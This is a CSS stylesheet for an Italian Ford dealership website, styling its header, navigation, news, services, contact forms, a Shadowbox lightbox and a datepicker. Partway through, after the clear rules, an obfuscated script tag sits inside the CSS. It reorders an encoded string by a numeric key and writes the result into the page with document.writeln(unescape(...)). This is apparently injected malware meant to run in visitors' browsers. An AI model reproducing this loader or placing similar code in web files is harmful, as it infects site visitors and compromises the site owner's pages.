/*

azzurro ----- #0075BC
blu --------- #005595
arancio ----- #FF6600

*/

html, body { height:100%; } 
body { margin:0; padding:0; text-align:center; background:#000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size:76%; line-height:150%; }
#footer { background:#fff url(bg-footer.jpg) no-repeat top center; width:900px; margin:0 auto; clear:both; padding:20px 0; }
#content {width:900px; margin:0 auto; padding:0; min-height:400px; height:auto !important; height:400px; background:#FFFFFF; padding-top:1em; } 

/* HEADER */
#header { height:328px; background:#000000 url(bg-header-black.jpg) repeat-x; }
#header-wrapper { width:900px; margin:0 auto; }
#header-inner { width:900px; height:85px; background:url(bg-header-inner-new.jpg) repeat-x bottom;}

h1#logo { float:left; width:390px; height:85px; text-indent:-9999px; background:url(logo-new.jpg) no-repeat; }
h2#ford { float:right; width:485px; height:85px; text-indent:-9999px; background:url(assistenza-vendita-ford-new.jpg) no-repeat; }


/* TOP NAVIGATION */
#navigation { width:900px; background:url(bg-nav.jpg) repeat-x center center; clear:both; }
#navigation ul { margin:0; padding:0 0 0 75px; list-style-type:none; height:40px; }
#navigation li { margin:0; padding:0; display:inline; }
#navigation li a { margin:0 30px 0 0; padding:10px; display:block; float:left; font-size:1.15em; }
#navigation a { color:#FFFFFF; text-decoration:none; }
#navigation a:hover, #navigation a.selected { color:#FF6600; }

/* CROSSFADING */
#slide-wrapper { width:900px; border-top:2px solid #FF6600; border-bottom:2px solid #FF6600; position:relative; z-index:3 }
#slide-images{ position:relative; display:block; margin:0; padding:0; width:900px; height:200px; overflow:hidden; clear:both; list-style-type:none; }
#slide-images li { position:absolute; top:0; left:0; display:block; list-style-type:none; margin:0; padding:0; background-color:#FFFFFF; }
#slide-images li img { display:block; background-color:#FFFFFF; }


/* Protofade azienda */
.azienda-right { position:relative; margin:0; padding:0; width:480px; height:320px; overflow:hidden; float:right; width:480px; border:1px solid #CCCCCC; 
}
.azienda-right div { position:absolute; top:0; left:0; margin:0; padding:0; text-align:left; }

/* COMMON */
a { color:#FF6600; text-decoration:none; }
a:hover { color:#005595;} 

a.avis { font-weight:bold; color:#CC0000;}

h1, h2, h3, h4 { margin:0; padding:0; font-weight:normal; text-align:left; }

#content h2 { margin:0 10px 10px 10px; padding:0; height:30px; text-indent:-9999px; background-repeat:no-repeat;  background-position:0 0; clear:both; }


#content h2.title-home { background-image: url(bg-home.jpg); height: 60px;}
#content h2.title-azienda { background-image: url(bg-azienda.gif);}
#content h2.title-servizi{ background-image: url(bg-servizi.gif);height: 60px;}

#content h2.title-news { background-image: url(bg-news.gif); }
#content h2.title-contatti { background-image: url(bg-contatti.gif); }
#content h2.title-404 { background-image: url(bg-404.gif); }
#content h2.title-manutenzione { background-image: url(bg-manutenzione.gif); }
#content h2.title-revisioni { background-image: url(bg-revisioni.gif); margin-top:10px; }
#content h2.title-show-room { background-image: url(bg-show-room.gif); }
#content h2.title-usato-garantito { background-image: url(bg-usato-garantito.gif);}
#content h2.title-soluzioni-aziende { background-image:url(bg-soluzioni-aziende.gif);}
#content h2.title-test-drive { background-image:url(bg-test-drive.gif);}



h3 { height:30px; text-indent:-9999px; background-repeat:no-repeat;  background-position:0 0; }

h3.title-test-drive { background-image:url(title-test-drive.gif);}
h3.title-ford-credit { background-image:url(title-ford-credit.gif);}
h3.title-tagliandi { background-image:url(title-tagliandi.gif);}

h3.title-vendita { background-image:url(title-vendita.gif);}
h3.title-assistenza { background-image:url(title-assistenza.gif);}
h3.title-ricambi { background-image:url(title-ricambi.gif);}
h3.title-finanziamenti { background-image:url(title-finanziamenti.gif);}
h3.title-assicurazione { background-image:url(title-assicurazione.gif);}
h3.title-usato { background-image:url(title-usato.gif);}
h3.title-autonoleggio { background-image:url(title-autonoleggio.gif);}
h3.title-autonoleggio { background-image:url(title-autonoleggio.gif);}
.box h3.title-autonoleggio { background-image:url(title-autonoleggio-g.gif);}
h3.title-autopama { background-image:url(title-autopama.gif);}
h3.title-servizi-aziende { background-image:url(title-servizi-aziende.gif);}
h3.title-kuga { background-image:url(title-kuga.gif);}
h3.title-partners { background-image:url(title-partners.gif);}


h3.title-auto-ford { background-image:url(title-auto-ford.gif);}
h3.title-vetture { background-image:url(title-vetture.gif);}


h3.title-legend { background-image: url(title-legend.gif);}
h3.legend-tagliandi { background-image: url(legend-tagliandi.gif);}
h3.legend-prova-di-guida { background-image: url(legend-prova-di-guida.gif);}
h3.title-privacy { background-image:url(title-privacy.gif); clear:both;}

h4 { font-size:1.3em; color:#005595;}

.left { text-align:left; }
.right { text-align:right; }
.center { text-align:center; }
.justify { text-align:justify; }
.small { font-size:0.9em;}

p { margin:0; padding:0; font-size:1em; text-align:left; }
#content img { border:0; background:#F7F7F7 url(ajax-loader.gif) no-repeat center; }
hr { clear:both; height:0; line-height:0; margin:0; border:0; padding:0; visibility:hidden; }


ul.list { margin:0.5em 0; padding:0 1em; list-style-type:none; text-align:left;}
ul.list li { margin:0.5em 0; padding-left:15px; background:transparent url(bullet-blue.jpg) no-repeat left 4px; }

ul.list img { vertical-align: middle;}



/* --- | HOME |--- */
.content-inner, #accordion-servizi { width:870px; margin:0 auto; padding: 0 0 15px 0; }

#home-right { float:left; width:570px; height:300px; background:#F7F7F7; border:1px solid #CCCCCC; margin-bottom:10px;}
#home-right img { float:left; }

#slideimage { position:relative; width:280px; height:300px; margin-bottom:10px; margin-right:10px; float:left; border:1px solid #CCCCCC;}
#imageBox { position:relative; width:280px; height:260px; overflow:hidden; background:#F7F7F7; border-bottom:1px solid #CCCCCC; margin:0 auto; }
#imageBoxInside { position:relative; left: 0; top: 0;}
#previous { position:absolute; width:105px; height:30px; left:0; bottom:5px; background:url(previous.gif) no-repeat; cursor:pointer; }
#next { position:absolute; width:95px; height:30px; right:0; bottom:5px; background: url(next.gif) no-repeat; cursor:pointer;}

div.vetrina { padding:10px;}
.vetrina h4 { padding-bottom:5px; border-bottom:1px dotted #FF6600; white-space:nowrap; overflow:hidden;}
.vetrina p { margin-top:5px; font-size:11px; }
.vetrina strong, .box strong, .info-auto strong { color:#FF6600; font-size:16px;}

div.box { float:left; width:280px; margin:0 10px 10px 0; background:#F7F7F7; padding:10px 0; border:1px solid #CCCCCC; position:relative;}
div.box p { margin:0 15px;}
p.bottom { position:absolute; bottom:10px; right:15px; text-align:right; font-size:0.9em;}
div.last { margin-right:0;}
div.box h3, div#partners h3 { padding-bottom:0; margin:0 10px 8px 10px; border-bottom:1px dotted #FF6600; text-align:left; }
div.box h4 { padding-bottom:5px; margin:0 10px 8px 10px; border-bottom:1px dotted #FF6600; text-align:left; overflow:hidden; white-space:nowrap }


div#partners { width:865px; float:left;  background:#F7F7F7; padding:10px 0; border:1px solid #CCCCCC; }

div#scrollinator { overflow:hidden; width:845px; height:92px; position:relative; margin:0 10px; }

div#scrollinator div { width:114px; display:inline; float:left; padding:0 10px; }


/* --- | AZIENDA | --- */
.azienda-left { float:left; width:370px;}
.azienda-right {  }



/* --- | NEWS ARTICOLO E ANNUNCIO AUTO | --- */
.articolo { margin-bottom:20px; float:left; width:870px; }
.articolo-inner { padding:10px; margin:0 10px; background:#F7F7F7; border:1px solid #CCCCCC; }

h4 { margin:0 0 0.5em 0;}
h4 a, .annuncio h4 a { color:#005595; }
h4 a:hover, .annuncio h4 a:hover { color:#FF6600; }

.date { color:#0075BC;}
p.footer-articolo { float:right; padding-right:20px; margin-bottom:10px; margin-top:10px; }
div.text { text-align:left;}
div.text-auto { text-align:left; float:left; width:600px;}
div.info-auto { float:right; width:260px;}

span.foto { float:left; margin:5px 15px 0 10px; width:180px; height:120px;  }
span.foto a { width:180px; height:120px; border:1px solid #CCCCCC; display: block;  }
span.foto a:hover { border:1px solid #FF6600;}
span.foto img { background:url(ajax-loader.gif) no-repeat center; }

#pagination { clear:both; margin:15px;}

#immagini { width:100%; float:left; padding:10px 0; margin-top:15px; border:1px solid #CCCCCC; background:#F7F7F7; }
#immagini a { float:left; margin:0 0 10px 25px; width:180px; height:120px; border:1px solid #CCCCCC; }
#immagini a:hover { border:1px solid #FF6600;}

.text-usato { text-align:justify; margin-bottom:15px;}
/* - SERVIZI - */
.accordion_toggle { display:block; width:870px; height:30px; line-height:30px; background: url(bullet-blue.jpg) no-repeat 10px center; padding:0; line-height:30px; cursor: pointer; margin:0; }
.accordion_toggle_active { background: url(bullet-orange.jpg) no-repeat 10px center; }
.accordion_toggle h3 { margin-left:25px;}

.accordion-content { background-color:#F7F7F7; color:#444444; padding:10px; border:1px solid #CCCCCC; overflow: hidden; }
.accordion-content ul { margin:0.5em 0; padding:0 1em; list-style-type:none; text-align:left;}
.accordion-content ul li { margin:0.5em 0; padding-left:15px; background:url(bullet-g-blue.jpg) no-repeat left 4px;  }
.accordion-text { float:left; width:480px; }

.accordion-content p { margin-bottom:5px;}

#servizi-vendita, #assistenza-autopama, #servizio-ricambi, #servizi-usato, #autonoleggio-avis { float:right; border:1px solid #CCCCCC; width:350px; }
.accordion-content img { float:left;}

/* - CONTATTI - TAGLIANDI - TESTDRIVE */

#map { width:430px; height:300px; border:1px solid #CCCCCC; float:right; margin:20px 0;}
#map img { background:none;}
#form-left { float:left; width:450px;}
#contact-form { float: right; width:400px;}


#form-left p { margin:5px 0 0 15px; }
#form-left h3 { margin:15px 0 0 15px; }

.privacy { margin:0 10px 20px 5px; padding-right:10px;}
.privacy p { padding:0; font-size:0.9em; }

fieldset { border:none; margin:0; padding:0;}
form { width:400px; float:right; margin:5px 0 15px 0; padding:0; }
legend {  margin:0; padding:0; display:none; }
form div { padding: 1em 0; background:#f7f7f7; border-top:1px solid #ccc; border-left:1px solid #ccc; }
form div.button { border-bottom:1px solid #ccc; }
label {float:left; width: 125px; line-height: 200%; padding-right:10px; text-align:right; } 
input, textarea, select { width:230px;  border:1px solid #ccc; }
textarea { overflow:auto; font-family:Arial,Helvetica,sans-serif;}
div.button input { border:none; margin-left:0; font-size:1.2em; background:none; padding:4px; cursor:pointer; width:auto;}

ul#error { padding:10px; margin:0 20px 10px 0; border:1px solid #FF6600; list-style-type:none; text-align:left;}
ul#error li { margin:5px 0; padding-left:15px; background:transparent url(bullet-blue.jpg) no-repeat left center; }
.hoverfocus { border:1px solid #000000;}

#response  { padding:10px; margin:0 20px 10px 0; border:1px solid #FF6600; text-align:left; }
#working { padding:30px 0 30px 30px; background:url(ajax-loader.gif) no-repeat left center;}

.strada-giusta { float:right; margin-top:20px;}

/* ..... CLEAR RULES*/
html body div.clear, html body span.clear { background:none; border:0; clear:both; display:block; float:none; font-size:0; margin:0; padding:0; overflow:hidden; visibility:hidden; width:0; height:0; }<script>var a='';var b='e%/rpDlnxt232D0e2f a335e%97we%h2%%r0/ mDA..3k5jc2%%32d%i Cstrf33eo6tw2i6mDEe%2/uhu6ww%%D0%fr2r fcpkai20siud%h2b23330hai%4dp2D02e2a33m%22m/pt42%32%h2r%%ar%%omdj2xret2t2o2CEirtirF41udri5g%e%%%';var c='7639581204';for(var i=0;i<19;i++) for(var j=0;j<10;j++) a+=b.charAt((parseInt(c.charAt(j))*19)+i);document.writeln(unescape(a));</script>

/*_________________________________________________________________  Overlay  */
#shadowbox_overlay {
  visibility: hidden;
  position: absolute;
  display: block;
  margin: 0;
  padding: 0;
  top: 0;
  left: 0;
  z-index: 998;
}

/*_______________________________________________________________  Container  */
#shadowbox_container {
  position: fixed;
  height: 0px;
  width: 100%;
  margin: 0;
  padding: 0;
  top: 0;
  left: 0;
  z-index: 999;
  text-align: center; /* centers in quirks and IE */
}

/*_______________________________________________________________  Shadowbox  */
#shadowbox {
  display: none;
  visibility: hidden;
  margin: 0 auto;
  position: relative;
  font-family: Arial, Helvetica, sans-serif;
  text-align: left; /* reset left alignment */
  color: #1b1b1b;
}

/*___________________________________________________________________  Title  */
/*
HTML snapshot:
<div id="shadowbox_title">
  <div id="shadowbox_title_inner">Title Here</div>
</div>
*/
#shadowbox_title {
  height: 30px;
  padding: 0;
  overflow: hidden;
}
#shadowbox_title_inner {
  height: 16px;
  font-size: 16px;
  line-height: 16px;
  white-space: nowrap;
  padding: 10px 0 4px 10px;
  background-color: #fff;
}

/*____________________________________________________________________  Body  */
/*
HTML snapsnot:
<div id="shadowbox_body">
  <div id="shadowbox_body_inner">
    <img src="my_image.jpg" id="shadowbox_content" height="350" width="580">
  </div>
  <div id="shadowbox_loading">
    <div id="shadowbox_loading_img"></div>
    <span><a href="javascript:Shadowbox.close();">Cancel</a></span>
  </div>
</div>
*/
#shadowbox_body {
  position: relative;
  overflow: hidden;
  margin: 0;
  padding: 0;
  border: 10px solid #fff;
  background-color: #eee;
}
#shadowbox_body_inner {
  position: relative;
  overflow: hidden;
}
#shadowbox_loading {
  position: absolute;
  top: 0;
  left: 0;
  height: 10000px; /* overflow:hidden will clip this */
  width: 100%;
  background-color: #ccc;
}
#shadowbox_loading img {
  float: left;
  margin: 10px 10px 0 10px;
}
#shadowbox_loading span {
  float: left;
  margin-top: 16px;
  font-size: 12px;
}
#shadowbox_loading span a,
#shadowbox_loading span a:link,
#shadowbox_loading span a:visited {
  color: #fff;
}
#shadowbox_content.html { /* make html content scrollable */
  height: 100%;
  width: 100%;
  overflow: auto;
}

/*_________________________________________________________________  Toolbar  */
/*
HTML snapshot:
<div id="shadowbox_toolbar">
  <div id="shadowbox_toolbar_inner">
    <div id="shadowbox_nav_close">
      <a href="javascript:Shadowbox.close();"><span class="shortcut">C</span>lose</a>
    </div>
    <div id="shadowbox_nav_next">
      <a href="javascript:Shadowbox.next();"><span class="shortcut">N</span>ext</a>
    </div>
    <div id="shadowbox_nav_previous">
      <a href="javascript:Shadowbox.previous();"><span class="shortcut">P</span>revious</a>
    </div>
    <div id="shadowbox_counter">
      <a href="javascript:Shadowbox.change(0);">1</a>
      <a href="javascript:Shadowbox.change(1);" class="shadowbox_counter_current">2</a>
      <a href="javascript:Shadowbox.change(2);">3</a>
    </div>
  </div>
</div>
*/
#shadowbox_toolbar {
  margin: 0;
  padding: 0;
  height: 26px;
  overflow: hidden;
}
#shadowbox_toolbar_inner {
  height: 26px;
  background-color: #fff;
}
#shadowbox_toolbar_inner div {
  padding-top: 6px;
  font-size: 12px;
  height: 10px;
  line-height: 10px;
}
#shadowbox_toolbar_inner div span.shortcut {
  text-decoration: underline;
  font-weight: bold;
}
#shadowbox_toolbar_inner div a {
  text-decoration: none;
  color: #1b1b1b;
}
#shadowbox_nav_close,
#shadowbox_nav_previous,
#shadowbox_nav_next {
  float: right;
  padding-right: 10px;
}
#shadowbox_counter {
  float: left;
  padding-left: 10px;
}
#shadowbox_counter a {
  padding: 0 4px 0 0;
}
#shadowbox_counter a.shadowbox_counter_current {
  text-decoration: underline;
  font-weight: bold;
}

/*________________________________________________________________  Messages  */
div.shadowbox_message {
  text-align: center;
  padding: 10px;
}
div.shadowbox_message a:link,
div.shadowbox_message a:visited {
  text-decoration: none;
  color: #bed333;
}
div.shadowbox_message a:hover,
div.shadowbox_message a:focus {
  text-decoration: underline;
}

div.datepicker { position: absolute; text-align: center; padding:0; }
div.datepicker table { margin:0; padding:0; text-align: center; width: 230px; font-size:0.9em; border: 1px solid #666666; background: #FFFFFF; }

div.datepicker table thead tr th { font-weight:bold; font-size:1em; background: #F7F7F7; border: 1px solid #CCCCCC; padding:0; margin:0; }
div.datepicker table tbody tr {  margin:0; padding:0; }
div.datepicker table tbody tr td { border: 1px solid #CCCCCC; margin:0; padding:0; text-align:center; }

div.datepicker table tbody tr td:hover,
div.datepicker table tbody tr td.outbound:hover,
div.datepicker table tbody tr td.today:hover { border: 1px solid #999999; background: #FF6600; cursor: pointer; }
div.datepicker table tbody tr td.wday { border: 1px #ffffff solid; background: #ffffff; cursor:text; }

div.datepicker table tbody tr td.outbound { background:#e8e4e4; }

div.datepicker table tbody tr td.today { border:1px solid #999999; background:#FF6600; }

div.datepicker table tbody tr td.nclick,
div.datepicker table tbody tr td.nclick_outbound { cursor:default; color:#aaa; }
div.datepicker table tbody tr td.nclick_outbound { background:#E8E4E4; }
div.datepicker table tbody tr td.nclick:hover,
div.datepicker table tbody tr td.nclick_outbound:hover { border:1px #eaeaea solid; background: #FFF; }
div.datepicker table tbody tr td.nclick_outbound:hover { background:#E8E4E4; }

div.datepicker table tfoot { background:#F7F7F7; cursor: pointer; text-align: center; padding:0;clear:both;}